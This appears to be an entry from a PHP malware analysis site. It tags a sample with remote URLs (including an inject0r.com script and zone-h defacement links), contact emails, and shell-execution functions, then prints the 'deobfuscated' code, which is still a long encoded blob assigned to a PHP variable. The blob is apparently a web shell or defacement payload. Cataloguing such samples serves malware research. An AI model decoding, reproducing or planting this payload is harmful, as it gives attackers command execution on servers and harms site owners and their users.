PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
http://inject0r.com/update.js
http://fonts.googleapis.com/css?family=Orbitron:700
http://facebook.com/k2ll33d
http://zone-h.org/archive/notifier=ReZK2LL
http://www
http://fonts.googleapis.com/css?family=Orbitron:700
http://www.zone-h.com/notify/mass
http://www
http://site/file
www.some-code/exploits.c
Emails
fallagtnx@gmail.com
k2ll33d@live.fr
Title
k2ll33d
Execution
system
eval
exec
passthru
proc_open
shell_exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code


<?php 
$obirninja = "=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